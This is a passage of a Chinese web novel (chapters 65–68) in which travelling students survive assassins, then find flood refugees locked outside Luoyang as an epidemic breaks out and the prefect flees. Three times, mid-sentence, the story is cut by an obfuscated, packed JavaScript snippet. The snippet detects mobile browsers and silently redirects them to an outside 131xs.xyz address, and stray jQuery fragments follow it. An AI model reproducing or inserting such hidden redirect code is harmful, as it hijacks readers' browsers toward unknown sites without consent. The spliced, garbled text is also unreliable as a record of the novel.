裴逍想要分散两个黑衣人的注意力,大喊道,“我和他们近攻,你找机会放冷箭。”
那两个杀手听此担心树丛那边的冷箭,也确实有分神,逐渐急躁起来,其中一人奋力冲开裴逍阻挡,袭向树丛。
裴逍见状紧跟其后,身后另一杀手趁机一剑向前刺来。
裴逍却突然回身,射出一支袖箭,正中身后那杀手的咽喉。
前面那杀手已经冲到了祁青阳和姜飒二人面前。
姜飒举着祁青阳的刀颤颤巍巍挡在前面胡乱挥刀,竟稍阻了那杀手一瞬。
不过片刻后,杀手便一剑挑开长刀,仗着剑向姜飒的胸口刺去。
姜飒双眼大睁,感觉到那剑带着死亡的威胁而来,速度之快,他根本无法自己躲开分毫。
在那剑离他只有十寸的距离之时,他突然被身后一股大力猛地拽着胳膊向后倒去。姜飒身体仰面倒下,似乎磕到了祁青阳的身体,没有完全倒在地上,他听到祁青阳闷哼了一声。刺客的剑跌落在他旁边。
姜飒赶忙起身,见那杀手已俯趴在地,后心插着一支箭。原来是裴逍眼见过去已来不及,从箭囊中抽出一箭射击杀手。
不过,如不是祁青阳及时拉姜飒躲开那剑,裴逍此箭射出,姜飒怕也还是会被杀手刺中。
裴逍刚松了口气,却又见林中一处上空,有信号烟雾飘起。
她心道方才那杀手看见他们便要放信号,可见那信号是告诉其同伙找到目标了,那么那信号烟雾发出的地方,不是百里摇光他们,就是姜飒的护卫和小厮了。裴逍便叫姜飒背起御三,她搀扶起祁青阳,四人往那信号烟雾飘出的方向赶去。
65. 第65章
裴逍四人赶到时,见有十个黑衣杀手正围着百里摇光他们攻击,百里摇光,安王府护卫,姜飒护卫围在马车四周护着马车,思卿、思卿婢女和夏慕卿站在马车旁,时不时地攻击一些绕开百里摇光和护卫杀进来的杀手。
原来在方才他们要走之际,又先后来了两拨杀手,双方对打到现在。
百里摇光挡在马车左前,持剑牵制了最多的杀手,突然见一个杀手,施轻功跃向马车上空,欲从上劈下,百里摇光急提醒,“马车上面”。
思卿几人看到欲阻拦不及,百里摇光飞身杀去,而另一杀手见百里摇光此时分神往上,便向着百里摇光掷出一剑。
“阿摇当心!”夏慕卿大喊。
眼看那剑就要刺中百里摇光后心,突然斜刺里飞来一支羽箭,将那偷袭的长剑击偏,那剑在离百里摇光后背间隔一掌距离划了一道弧线后跌落。而百里摇光成功拦截了在马车顶上攻击的杀手。
刚偷袭百里摇光的黑衣人也被裴逍紧接一箭射杀。
姜飒护卫顺着箭射出的方向,见到了裴逍身后的姜飒,忙向着这边冲过来。那波杀手看到裴逍几人,便也向着这边分了人手袭来。
一场酣战后,百里摇光用剑抵着躺在地上的最后一个杀手的咽喉,问“谁派你们来的?”
话音刚落,却见那杀手,口中黑血汩汩流出,顷刻间毙命。
“应该是口中藏了毒,咬破死了。”夏慕卿道,“这些人是死士。”
“我们得尽快离开此处,之前我们是循着那信号烟雾过来的,万一杀手还有同党,可能还会寻来。”裴逍道。
众人只剩了一辆马车,让伤重昏迷的祁青阳和御三待在了马车里,曦月和婢女在帮他们看伤。值得庆幸的是,这个马车中还有先前曦月在村落里采购的伤药棉布等物。
安王府的护卫驾车前行,徐夫人抱着孩子坐在护卫旁边。
还有两匹可用的马,思卿带婢女阿剑骑一匹,姜飒和林致远共骑一匹,其余人皆步行。
他们一行人边走,边互通了下方才两边的情况。
裴逍听闻追杀思卿她们而去的那批黑衣人,在她们跳了马车,并于马车中确认后,竟然撤退没有再追杀她们了,心想果然与她猜测得一致,那些黑衣人的目标很可能还是姜飒。
姜飒的小厮小游和护卫那边,在他们分两队跑开后,也有不少杀手追击。
小游和姜飒年纪身形相仿、外形也是唇红齿白、清秀俊俏,且穿着也和姜飒差不多,可能是被误认为是姜飒,引来追击。而且这批杀手与一年前在难凉寨追杀姜飒的杀手以及前几日在客栈外后来的第二波杀手行事身手相像,看来可能是同样的幕后黑手。
她正想着,突然听到夏慕卿问姜飒,“这些杀手的目标是你吧?温国公府到底得罪了什么人?怎么会招来这么多杀手要杀你?”
姜飒愣了片刻,看向小厮小游,小游轻轻摇了摇头,姜飒便低着头道,“我也不知道。这次连累你们了,是我不好。”
夏慕卿几人见此便也没再问,只是心中猜测这温国公府必是有些不为人知的秘密。
祁青阳会武艺一事,裴逍也没有与其他人说起,人皆有秘密,何必要深究,至少祁青阳在那种时刻,本可以自己安然逃脱,却选择了暴露自己的秘密,留下帮他们对敌,争取时间。
·
他们一行继续向洛阳行去,一路上,仍能看见不少昨日一起歇息在河边的灾民,也能看到不少未曾见过的灾民也在往洛阳方向走。
到傍晚时分,临近洛阳,已经可以远远看到高大的城门。
“那城门下好像有很多人。”思卿望着城门方向说道。
其他几人看去,见那城门下远看黑压压的,延伸了好大一片,全是人。
“奇怪,为何城门口会聚集这么多人?”夏慕卿疑惑道。
等他们走近了才发现,门口皆是些衣衫褴褛、形容憔悴的灾民,而洛阳城恢弘的城门却紧闭着。
他们于人群最外侧歇下,百里摇光下马向旁边一个面白的青年打听道,“小哥,这洛阳城为何城门紧闭?”
“唉,应该是怕我们这些灾民进入城中生乱吧。我已经在这城门外等了三日了,洛阳官府每日会开一次城门放粮。其他时间城门关得死死的。要不是他们还会放一次粮,我都要以为这洛阳知府要弃我们这些灾民于不顾了。”那青年嘴唇干裂,有气无力地说道。
“竟然如此?!我看这城外灾民少说有几千人,就这么风吹日晒暴露于野,不是长久之计啊。”林致远跟了过来,此时看着四周,不禁说道。
“谁说不是呢?”那小哥应和道,“这两日还好些没下雨了,之前下着雨我们也只能在外面淋着,最多找点树叶、衣服、杂物些微遮蔽下。不知道还要等多久才能让我们进城。”
百里摇光回马车里取了些昨夜剩的山鸡肉,拿来给青年,“小哥,这是我们昨日在山林里猎的山鸡,你食用些吧”。
青年自百里摇光走近,便闻到了肉香,空扁的肚子让他不由地盯着百里摇光手里的东西,见竟是赠予自己的,高兴地道,“谢谢,谢谢。”他接过肉,舔了舔嘴唇,没有立马吃,而是站起端端正正地给百里摇光和林致远行了一礼。
二人忙回礼问道,“小哥也是读书人?”
“在下不才,也在府学里读书几载。”青年回道,说着又坐在了地上,捧起那块肉,吃了起来。
百里摇光见那青年吃完肉,从怀中掏出已经不太干净的手帕擦嘴后,问道,“小哥是从何处而来?”
“我本就是洛阳人士,因外出到附近一个村子里帮人看诊,在村子里正遇上大水,幸好躲到了一棵老树上没被冲走,那一个村子没剩几户人家了。等好不容易水退了,我就紧赶慢赶回来,却进不了城,归不得家。贤弟一行听口音不是洛阳人士,是从哪来?”
“我们是京中的学子,趁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800053|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
假期出来游历,也正好赶上这洪灾,被阻住,现下是想到洛阳城中休整一下的。”百里摇光解释道。
那青年听闻说道,“原来如此,不过这洛阳知府在官场上人脉通达,最是懂得明哲保身。此次洪灾来势迅猛,洛阳城边县镇受灾严重,灾民人数多,这官担心灾民涌入洛阳城生乱,影响他政绩考核,估计是轻易不会放我们进去了。我家就在城里,没有办法。我看你们有车马,不如赶赶路去其他府城休整。”
百里摇光和林致远回去将情况说与其他人,几人一同讨论决定是否要转去其他府城。
思卿当先气愤骂道,“这是什么父母官?为了自己政绩,弃百姓于不顾。我们是想走就走了,这些人呢?”
“就是!看我回去不给他告诉我皇兄——皇表兄。”其他几人也没心情在意姜飒这奇怪的称呼,只有裴逍知道真相看了他一眼。
“说实话,我现在都没有心情游学了。”夏慕卿叹气道,“我一想到有这么多人,跟我们同处于一片穹宇之下,却居无定所、食不果腹,我就感觉做什么都不能心安理得了。”
“哥,还是你会说。”思卿应和道,“我也是这种感觉,就是自己形容不出来。”
林致远说道,“阮先生与我们说,如果走散了便在洛阳相聚,我们此时也不好再去其他地方,不如我们就等洛阳城门开了,在这里等阮先生和同窗们?”
“我赞同。我们在这看看洛阳府官员能否妥善安置这些灾民后再走。”夏慕卿道,说着他看向裴逍和祁青阳问,“你们怎么看?”
裴逍点了点头,没说什么。
祁青阳道,“我也同意。不过,这洛阳城门不知何时才会开,我们等在这外面,是要吃些苦头了,你们可得想好了?”
“祁公子,你别小看我们。小时候学习武艺,我也是吃不少苦的。”思卿举起拳头说道。
“曦月,你怎么想?”夏慕卿看向曦月。
“世子,其实我也想待在这里,以前在医书中看到,每每洪灾过后易发疫症,我想在这看看或许可以帮忙做点什么。”曦月柔声说道。
“好。”夏慕卿应了一声,看向姜飒,“你呢,刚曦月也说了,缺衣少食都是小事,还可能有患疫病的风险,你要不要府中暗卫给你送回京去?”
“嗤”,姜飒冷哼一声,“瞧不起谁呢?阿逍能受得起,我也能!”
于是,他们一行便也歇于城外。家仆和护卫去林中寻了些粗长的树枝,回来后固定于四角,从马车里寻了些布料搭在上面,做了个简易的小棚子遮住烈阳,一行人挤在其中休息。
·
第二日临近中午,城外灾民们纷纷起身向城门聚拢。
城门徐徐打开,一队营兵走出,向前行了一段距离,分隔站开,在城门外形成了一条半圆形的防线,阻隔开灾民。后面几十名府衙衙役推车而出,车中有大木桶,有烟气从那桶盖缝隙之处飘出。看来是要放粮了。
66. 第66章
有衙役在城门前组织,灾民们分列三队拿着碗取粮。
徐夫人抱着孩子走到队列最前面与衙役搭话,“几位大哥,我夫君在城中任官职,叫做徐清,你们能否行个方便让我进城去?”
几位衙役互相看了看,一个衙役道,“我们不认识什么徐大人,谁知道你是不是编出来想趁机混入城中?”
徐夫人忙解释,“我夫君才到洛阳城不久,可能诸位大哥还不认识,但能不能帮我给他捎个信,让他来这里找我?”
“这城外这么多人哪,都让我们捎信,我们什么活都别干了。去去去,别捣乱。”那些衙役不耐烦地驱赶她,徐夫人险些被推倒,幸而思卿几个跟在后,扶住了她。
“不帮就不帮,干嘛推人啊。”思卿气愤喊道。
那些衙役瞟了思卿她们一眼,见除了几个女子外,还有两个壮年男子在侧,便没再回应。
“那只能等城门开了,再进去找了。”曦月安慰道。她们几人和两个护卫带着徐夫人回到马车处,告知了其余人情况。
“这样的话,那我们先排队领粮吧。”百里摇光说完便当先跟在队伍后排上了队。慕卿跟在他后面。站在最后的是林致远,裴逍和姜飒还有小游。他们将思卿、曦月等四个女子夹在队伍中间。姜飒硬是不顾小游让他歇着的哀求,也跟着过来了,还嫌小游烦,一直嚷嚷着让小游去照看祁青阳。
“你们没有碗不好取粮啊,有稀粥的。”昨日的小哥邓载之在前面隔着几个人回头看到百里摇光喊道。
“额。还有别的不需要碗的干粮吗?”百里摇光问。他们都没有碗,本来思卿他们的马车里还有几个,昨日被哄抢一通,一个没有了。
“还有一个馒头。而且一人只能领取一份食物。如果要给其他人代领的话,得再排一次队。”“原来如此。那每日放的粮食够城外所有灾民吃吗?”慕卿问。
邓载之回应道,“之前都是够的,不过昨日与你们同时又来了很多灾民,就不知还够不够了。一天就放这一次,错过了,就得等到第二天领。”
·
几人一直排到了太阳西斜,才终于轮到他们领取。
百里摇光向衙役递过,方才邓载之蒙头喝完粥后借他用的碗,衙役在那木桶深处捞了半天,给他盛了一碗稀粥,又给了一个馒头。
百里摇光接过,便让开给慕卿,却听得那队列前施放粮食的衙役说道,“没了。”
“没了?!”慕卿目瞪口呆,“我们从日中等到了日落,你们说没了?!”
还有些今日才来的灾民排在他们后面,听闻粮食已经没了,喧哗起来。
“没了就是没了?!明日早点排队吧!”那衙役不耐烦地朝着人群喊道,随后收了器具,便和旁边衙役一起将空桶搬上了车。
“旁边两队还有,去那两队排。”队列中有人说道。他们身后人群迅速排到了旁边两队后面,当然也有心急不守规矩的,直接要往人家队里插,不时闹出些争执来。前面的衙役们也不管。
“算了,咱们车上还有昨日剩的一些吃的,吃那些好了。”夏慕卿道,几人便往马车处走。刚走到排队领粮的队尾,就听到人群中传出这一队也没有粮了。所有人又都挤去了最后还有粮的那一队。
等回到马车边,他们见最后一队领粮的队伍也没粮可领了,而领粮的灾民还排着长长的队。
衙役们对人群中的质疑、叫嚷声充耳不闻,自顾将盛粮的器具大桶整理好,推车向城内走去了。
等在最后的军士也退入城中,城门便又重新合上了,隔绝了门外灾民们的失望与悲切。
·
“徐夫人,您喝点粥吧。”思卿将那碗粥递给在马车上歇息的徐夫人,徐夫人见众人都空手而归,推辞不喝。
曦月劝说道,“您喝吧,就算您自己能抗,这孩子还需要你来喂养呢。”徐夫人听才接过了碗。
思卿解释,“这个碗是在咱们旁边那小哥的,我用衣袖反复擦过几遍了,这时候也顾不得在意那些了。”徐夫人点了点头,喝起粥来。
百里摇光将那一个馒头分了几块,给每人塞了一块,慕卿、裴逍、祁青阳、小游、御三都没接,称可以食肉。
众人将昨日剩的炙肉取出吃了一些,凑合对付了一下。
·
到了夜间,城门外又陆续来了许多灾民。而在这批灾民中,他们竟然见到了阮先生和国子学的同窗们。
他们个个形容憔悴,衣衫破旧,与从长安出发时的意气风发截然不同。
慕卿最先看到他们,迎上去问道,“先生,各位,为何是这般模样?”
阮柏聿无奈道,“我们从郑州出发,在来这里的路上,遇到了很多灾民。所带的行李用物不是被盗,便是被哄抢,一路到这里,就成了如今这样。所幸人没有再走散的,也都没生什么病症,只是一路颠沛,饥餐渴饮,都很疲累。”
慕卿等人将他们所剩的炙肉都取了出来,给阮先生和同窗们分了。那些平日里在京中锦衣玉食的少年们,此时吃着这野外粗制的吃食,也顾不得嫌弃,个个鲸吞虎咽,惹得在附近歇息的灾民看得眼馋。
阮柏聿了解了这城门前的情况,稍作歇息,来到城门处,喊了城门守卫与洛阳知府通传消息,称国子监学子一行游学到此,请地方官员协助解困。然而,一直到第三日城门口灾民们又排上了领粮的队,他们都还没有收到回传的消息。
歇息在他们附近的小哥邓载之也准备去排队,看了看百里摇光一行,问道,“你们还不去排吗?昨日又来了许多灾民,怕是今日的粮食也是不够吃的,得早早排队才是。”
“好,那我们这就去。”百里摇光等人也起身去排队。他们在队伍中又见到了一些眼熟的面孔,皆是那日猎取食物一起吃的灾民。
临近午时,衙役官差们开城门放粮。
约莫过了半个时辰,裴逍等一行人在队伍中,突然听到前面有争吵哭喊声,随后人群开始向前拥挤,他们挤在人群之中,被裹挟着也随之往前行动。
“发生什么了?”姜飒问道。
“看不到啊,所有人都在往前走。”夏慕卿说道。
“城门在关闭!”百里摇光个子最高,与几人说道。
周围的灾民听到纷纷惊慌,“怎么就关城门了?这才开始放粮没多久啊。”
“怎么放粮时间一日比一日短?”
“昨日就没领到,今天再没粮食,要撑不住了。”
......
队伍前面也爆发了民众的叫嚷、哀求、声讨,但城门还是关上了,不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800054|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
少人冲到已关闭的城门前,奋力拍门叫喊。
“为什么关城门了?”人群中到处传问着。
没过多久,人群中传回来一个答案。
“有几个灾民生病了,想让衙役们请大夫来看,那些衙役说回去请示长官,请示回来结果就直接关城门了。”
“这是要不管我们死活了吗?”
“就算不请大夫,也能继续放粮啊。”
“他们是怕我们都有病,传染给他们!”
“这些狗官!”
......
被包在几个少年中间的曦月听闻,与思卿、慕卿说道,“我想去看看生病的人,看能不能做点什么?”
“好,我们去看看。”思卿说完便拉着曦月往前挤。
“你们先等等,现在这么多人拥挤着也危险,等人群散开些再去吧。”慕卿拦住道。
这时,集中在城门外的灾民见城门已关,前面的拍门吵嚷也没有引起城内任何回应,便渐渐散开,以保存体力。
阮柏聿逆着人流走到城门边,仰头向上喊着城门守卫,“郎君,请问昨夜里在下向洛阳府尹通传之事,可有消息传回?”
过了一会,一个像是守卫统领的人走到城门楼边上,低头望着站在下面的阮柏聿说道,“洛阳灾情严重,府尹大人忙于处理灾情事物,难以款待照料诸位,为免国子监师生受连累,府尹大人请诸位移步此处向东的郑州城。”
阮先生皱了眉头,没再多言。
裴逍几人逆着人流,往城门的方向走了一段,远远看见城门前躺坐了四组人,有一个青年像是大夫,在给他们切脉。
走的近了,他们认出那青年正是歇息在他们旁边的小哥邓载之。他这时刚放下一人的胳膊,走到了另一人身边,切起脉,抬起头,目光正对上他们。
“你们别走近!”他高喊一声。
裴逍几人听闻收住脚,停了下来。
“难道真的是疫病?”曦月小声喃喃道。
“很可能是疫症。”邓载之用一节衣袍掩住口鼻,抬起头跟病人和旁边的亲属说道,“你们都像我这样用衣袍掩住口鼻吧。虽不能完全阻绝,但是可以减少被传染的可能性。我们现在没有药,能做的,只有先把病人稍微隔离开些。”
附近听到的灾民纷纷退开远离,就连那些病人身边的人,也有不少躲远的。自然而然地就将这染病的区域隔了出来。
“大夫,那染病的人就没救了吗?”蹲在染病老人旁的一个中年男子问道。
邓载之叹了一声,“得有药,而且还要多试才能找到应对此疫症的药。”
“现在连饭都吃不上,哪里来的药啊?这是天要绝我们啊!”那中年男子抱着染病的老人痛哭起来。
“孩子,你快离我远点。”那老人说着,抬起枯瘦的胳膊,试图推开那中年男子。
“爹——”中年男子死死抱着不撒手。
邓载之不忍再看,起身向着裴逍他们这边走来,在约莫还有五步远的距离时便站定了,裴逍几人不自觉地欲往前靠近。
“别别,别过来。”邓载之连连摆手,“我刚帮那四位病人诊治,也有可能染上,你们还是离我们远些吧。”
“小哥,他们真的是疫症吗?”曦月忍不住问道。
67. 第67章
邓载之回应道,“八成是。这些人的症状全都一样,而且我问了他们,是一起逃难来的,在这城外休息的地方也都很接近。而且大灾后易生大疫,这也是很常见的。”
“那应该怎么办啊?”姜飒听闻急问道。
“我只是个大夫,我只知道对待疫病,应当隔离开病人和相关用物,阻断降低接触传染的可能性,研制药物治疗已染病人群。但是现在缺医少药,这城外还聚集了这么多灾民,我也不知道该怎么办。”邓载之声音低落。
百里摇光出声安慰,“邓大哥,你别急。我们一起想办法。”
“对,而且小哥你是大夫,病人如果看到你也如此难过,他们更没有信心了。”曦月道。
邓载之听闻抬头怔怔地看着曦月,半晌他振奋起来,道,“姑娘说的对!”
“我们商量商量看能不能帮上什么忙吧。”林致远提议。
几人席地而坐,邓载之远隔几步,也面向他们坐下。
“莫邪,还是像上次一样,先去统计人数。”夏慕卿跟家仆吩咐道,“注意稍微隔远些,有些人可能已经染病了。”
“是,世子。”
百里摇光看向邓载之,问道,“邓大哥,你能否列出现在急需哪些药材,我们想办法去取来一些药物。”
“列没有问题,只是你们怎么取药物啊?”邓载之道。
“这个我们来想办法。”
“我现在比较担心,那些可能已经染病了,但是他自己没有意识到,周围人也不知道的人,这些人怎么办?”夏慕卿问。
“这个现在没什么好办法,没有显示出症状来,根本无法判断是不是染病了。只能让所有人都尽量分散开,然后可以像我这样遮掩口鼻,降低染病的可能性。”邓载之一边动作一边说道。
几人沉默起来,突然“咕”的一声响起,姜飒捂着肚子讪讪说道,“大家都饿着肚子也是个问题。”
“是啊。”思卿无力地回应了一声。
“裴逍,你怎么想?”夏慕卿看向裴逍。
一直没说话的裴逍,这时方才开口,“我认为,目前我们需要解决的有两件事,一个是饥荒,一个是疫病。但是有一个关键背景是,城外这么多灾民,并非少数,那无论解决哪件事,控制秩序,都是最紧要的。”
“其次,解决饥荒和疫病需要大量的粮食和药物,去哪里筹措,怎么运出。”
“而后,粮食的发放倒不算太难做,但是疫病的防治,只有药材还不够,而且小哥方才也讲过找对药物也需要测试多次,还需要隔离病人,其他人也需要配合分散隔断,还需要更多的大夫。”
阮柏聿补充道,“你们的想法都是好的,只是眼前的这些问题,单靠我们这些人是远远不够的,就算可以短时间撑一撑,但最终还是得靠官府的力量才能彻底解决。所以,我们还需要与城中取得联系,了解城中官员是怎么想的,他们到底想怎么解决灾民问题。”
经过讨论后,众人形成行动计划。
首先,邓载之根据城外情况,划出下风口靠近西北山林一处开阔地作为隔离区,随后通知将染病的人和家属转移到隔离区。
而后,鉴于百里摇光此前在前几日的民乱之中有一些声望,更容易被灾民信服,由百里摇光出面向所有灾民讲述疫病情况及应对举措。
至于筹粮筹药,以及与洛阳官府取得联系,则下一步再看。
·
姜飒拿着不知道从哪捡来的锣,“嘡嘡嘡”地在城门口敲了起来,吸引了灾民靠近。
“诸位乡民,”百里摇光注内力入声,清朗的声音地向远处传开,“现此处灾民中已出现疫症。”
这时染疫病的消息才在灾民中广泛传播,人群中开始嘈杂讨论。
姜飒适时拿起锣,疯狂敲了起来“嘡嘡嘡嘡”,嘈杂声逐渐被锣声压住。
百里摇光继续道,“不过,大家不必惊慌。我们城外灾民中就有大夫,且已经将染病的人员隔离在了指定区域,就是那边。”说着,百里摇光指向西北山林处开阔地。
邓载之站在那里跟众人挥了挥手。
百里摇光接着道,“但是疫病需要我们一起来应对,现在需要大家配合,尽量远离隔离区。同时,因为我们这些未被隔离的人之中,也可能有染病而尚未发现的人员,也请大家尽量互相注意保持距离,可以按照这样的方式遮住口鼻,降低风险,”说着,他用衣袖掩住口鼻示范了一下,“出现病症的人,及时到隔离区外找大夫看治。如果还有会医术的人,也希望能够加入我们,一起来救治应对疫病。”
做完这些,百里摇光、夏慕卿、裴逍带家仆、护卫几人绕着城墙观察,寻得一处守备薄弱的位置,潜入了城中,根据家仆统计回的人数粗估需要的粮食数量及小哥所给的药方,用现有钱财先采购了一些炊具、米粮、药材应急。
林致远、姜飒、思卿等召人在城外接应。以哨声为号。
入城以后,几人分头行动,百里摇光、裴逍负责采购药材及去官府查探情况,夏慕卿带家仆、护卫负责采购粮食、药材、炊具。
裴逍和百里摇光两人来到洛阳府衙。他们先前从徐夫人处得知,其丈夫徐清刚来洛阳府任职,他们来此,便是想联系上他。
百里摇光向一个府衙门口守卫询问道,“官差大哥,麻烦帮忙通禀下府中徐清徐大人,我们是他的远方子侄,游学经此,前来拜见的。”
那守卫听闻,往府内看了一眼,回头低声道,“徐大人被府尹关起来了。你们现在见不着他。”
百里摇光和裴逍对视了一眼,问道,“徐大人为何会被关起来?”
“因为——”那守卫正欲说,府衙中突然有官吏走出,守卫轻咳了一声,突然厉声道,“这里可是府衙,你们上哪找人不好非得来这?还不速速离开!”
百里摇光见守卫突然变脸,不解其意待要理论,裴逍轻轻扯了扯他衣袖,使了个眼色,拽着他从府衙门外走开了。
不过两人并未走远,拐过一条街,裴逍松开了百里摇光,解释道,“那守卫有难言之隐。我们晚些找他单独问问,或许能问出来。”
百里摇光点了点头。两人便在附近等着观察着,等到天快黑了,府衙守卫轮值,那先前与他们搭话的护卫换了衣服走出,两人跟上那守卫,到了一处隐蔽之地,百里摇光几步跃到那人身前拦住,说道,“官差大哥白日里可是有所顾忌?”
“原来是你们二位。”那守卫认出百里摇光
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800055|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,松了口气接着道,“我是前几日在衙门门口看到的。徐大人从府衙中一路追出劝府尹大人开城门赈灾,府尹大人置之不理,反而大骂徐大人。后来听说徐大人自己在城中到处游说富商捐赠米粮,被府尹大人知道给关了起来。而且不让我等对外讲。”
“今日你们若是问其他人,可能也不会告诉你们。我会跟你们说,是因为我家乡就在洛阳城外不远,此次应该也遭了水灾,城外的灾民中只怕就有我的乡邻,徐大人为城外百姓奔走,是个好官。”那守卫的语气中染上了几分悲戚,无奈道,“他被关在了第二进院子的一间值房里,但具体是哪间,我就不知道了。”
·
亥时初,裴逍和百里摇光两人潜入府衙。
此时夜色如墨,府衙中的房舍基本都是黑的,他们在二进院里没费多少力气便找到了一间亮着灯的房间,门上有锁,窗户被钉住了。
他们在窗上破开一个小洞,见里面有一青衫男子,正坐在灯下写着什么东西,那人约莫三十多岁,形容与徐夫人所述相仿。
百里摇光轻拍窗低声询问,“是徐清徐大人吗?是徐夫人让我们来找您的。”
里面的男子闻听,起身快步走近窗户低声回应,“我是徐清。我夫人和孩子,她们怎么样?”
“徐夫人和孩子都好,他们现在就在城外。”
“城外灾民情况怎么样?”
“城外有人染了疫病,洛阳官府听说后,今日停了施粮,紧闭了城门。”
“嘭”的一声响起,似是里面的男子砸了一下窗户,“太过分了!竟是因为怕瘟疫躲走了!”
“谁躲走了?”
“窦府尹。今晚给我送饭的府吏说府尹下午让家仆们收拾行装,带着家小,从平日里不开的北城门出去城郊山上别院了。我先前想不通他为何突然出城,如此看来他是因为怕染上瘟疫躲走的。”徐清愤愤的声音从屋内传出。
“竟有这样的官?!”百里摇光震惊问道。
裴逍四处看了看,没看到什么人,开口道,“徐大人,城外还有数千灾民——”
“竟然有数千?”
“正是。”
徐清道,“看来他们封锁了消息。城中人大多都不知道真实情况。”
“府尹难道不怕消息传入京中,他被问责?”百里摇光问。
徐清轻哼了一声,嘲讽道,“他第一时间就派了官兵到入京必经之路去阻挡入京之人回传消息,而且他在京中也有靠山,会帮他遮掩此处发生的事。”
“如果洛阳官府不管,饥饿加上疫病,这些灾民撑不了多久的。您有没有什么法子?”裴逍问道。
“没有府尹手令,所有人都不能擅开城门,也无法赈灾。”徐清说着皱眉沉思起来。
百里摇光和裴逍对视了一眼,皆看出彼此眼中的担忧。
过了半晌,徐清的声音再次传出,“我有一个同窗,在附近的巩县任县令,我想手书一封信予他求助,看能否派出些人手,赈济些粮食药材。但是,我不能保证他会来,因为他如果应了我的求助,一定会得罪窦府尹,而且虽然此县不远,但一来一去,加那边准备至少也要两日才能赶来。但现在没有别的法子了,你们能帮我将信送去吗?”
68. 第68章
“信我们可以送。只是徐大人,如果巩县县令坐视不管的话,那两日后怎么办?”裴逍问道。
“如果他不来,还请两位小友冒险帮忙将我带出去,趁窦府尹不在城中,我以河南府少尹的官身一人担责,去游说支持赈灾的官吏、富商和百姓,一起强闯城门出去。”裴逍与百里摇光对视了一眼,虽然他们看不到徐清此刻的神情,但却能听出他的决心。
徐清接着说道,“总之,你们不用担心,虽然洛阳府尹放弃了城外百姓,但是洛阳城没有放弃,我也绝不会放弃。希望你们能给灾民们传达一些信心和希望,在这种时刻,信念非常重要。”
“嗯,这点我们来想办法。”百里摇光应道,“大人愿为受灾百姓担此风险,实乃大义。我等感佩。”
“为天地立心,为生民立命。在其位,如何能不尽其力。”徐清叹了口气,接着道,“我这就写信,还请两位稍待片刻。”
裴逍、百里摇光带着徐清写与巩县县令的手书,从府衙一个隐僻角落越墙而出,向着入城来的方向而去。
城中几处高门大院正宴乐喧闹,门前华服冠盖往来如云,见面之人互相祝贺着“七夕万福。”
“原来已经七月初七了?”百里摇光走过那些人,感慨道。
“嗯。”裴逍心中忧心着灾情,听百里摇光说起,方才抬眼四处看了看,淡淡应了一声。
他们继续往回走,渐渐走出这片富庶的门庭宅院,穿过街市。
街市上一片冷清凄凉,与方才那些富户豪绅府上的氛围全然不同。店铺没几家开着的,也没有人在逛街市,路上的行人都是匆匆赶路,甚至有不少衣衫褴褛、面黄肌瘦的百姓,就留宿在街头。穿行两片区域,让人不禁怀疑这是否是同一个人间。
裴逍和百里摇光翻出城返回驻扎地,夏慕卿已经采购回了粮食、药材和基本的炊具。他会同林致远,安排好了粮食的熬制、分发和领取,并且安排了府中家丁控制局面,没发生抢粮骚乱的情况。这拨粮食熬制分发之后,眼下的灾民之饥暂时得到了缓解。但灾民人数众多,食粟有限,也只堪堪够勉强果腹而已。
邓载之拿到药材后,便带着曦月一头扎进瘟疫药方的研制和瘟疫病人的看护中去。
裴逍和百里摇光先给徐夫人传了口信,告知其徐大人安好,他们不久就可以相见,而后便将徐大人所说告知夏慕卿几人和阮柏聿。
“这府尹封锁了消息,眼下光靠我们,要应对这灾情根本是蚍蜉撼树。当务之急还是尽快将消息传回京中。”阮柏聿道。
“没错。”姜飒应道,“我刚安排了一个护卫速速回京,给外祖父报送消息。”
夏慕卿道,“这样,我也安排家仆回京中给父王送信,让他将这洛阳的灾情呈报给圣上。”
阮柏聿点了点头,接着道,“洛阳府衙的实际情况暂时限于我们几人知晓,否则灾民们引发恐慌,再蔓延开,场面将更不好控制。其他学子也先不必告知了。”
话音落,几人互相看了看,皆忧心忡忡地点头应了。
夏慕卿突然想起什么,说道,“我们今日买粮,发现城中粮价高得离谱,问了城中人,才知洛阳城的粮价,这几日已涨了十倍!”
阮柏聿皱起了眉头,问道,“官府是有平仓、义仓用于天灾时放出,平抑物价的。怎么会粮价上浮这么多?”
夏慕卿冷哼了一声,说道,“洛阳府衙的平仓、义仓想必根本没有放,城中也只设了一处粥棚,每日两次施粥。不说城外的灾民,就是洛阳城内的百姓也不好过。”
